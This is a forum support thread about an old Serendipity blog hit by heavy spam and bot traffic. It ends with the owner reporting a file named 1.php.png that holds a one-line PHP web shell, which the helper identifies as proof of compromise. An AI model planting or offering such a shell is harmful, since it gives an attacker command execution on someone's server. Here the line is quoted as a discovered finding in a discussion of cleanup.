Spam \ Bandwidth

[david@mediacopy]

Hi all,

I'm getting a lot of spider\spam traffic and wondered if there is a way of reducing the server bandwidth usage. It's getting to the point where I'm thinking of getting rid of the blog.

According to AWStats a lot of traffic is directed to:

/blog/archives/blog/index.php
/blog/categories/1-Skiing
/blog/archives/33-Ski-Boot-Fitting.html
/blog/
/blog/index.php

I've tried blocking individual IPs but it's not very effective. I've turned off comments using the spamblock plug-in and have just installed the other anti spam plug-in's.

Better would be the ability to block IPs after a certain amount of activity - is that possible ?

If anyone has any other suggestions \ stategies they would be welcome. The blog only attracts maybe 350 genuine visitors per month yet is burning 2Gb per month.

I'm on Serendipity 1.5.3 and PHP 5.2.17

Cheers


David

[Timbalu]

Hi David

At least the links 1, 4 and 5 are normal having more traffic than others. The last two are the pages the blog points to from everwhere.

Better would be the ability to block IPs after a certain amount of activity - is that possible ?

This is possible, but not advisible. There is no plugin supporting this, AFAIK.

These bots learn, if a page changes to not allow comments any more.
I would do so for link 3.

You need an upgrade! Please read http://board.s9y.org/viewtopic.php?f=6&t=17244&start=0.

Ian

[david@mediacopy]

Timbalu

These bots learn, if a page changes to not allow comments any more.
I would do so for link 3.

I've just disabled comments from all posts so hopefully that will help. Upgraded now. Don't think it had been compromised. Or not. Just found a file called 1.php.png containing <?PHP system($_GET['cmd']); ?>

[Timbalu]

Upgraded now. Don't think it had been compromised. Or not. Just found a file called 1.php.png containing <?PHP system($_GET['cmd']); ?>

Ops, didn't see this until now.
YES, YOU ARE COMPROMISED! Clean you system.

Ian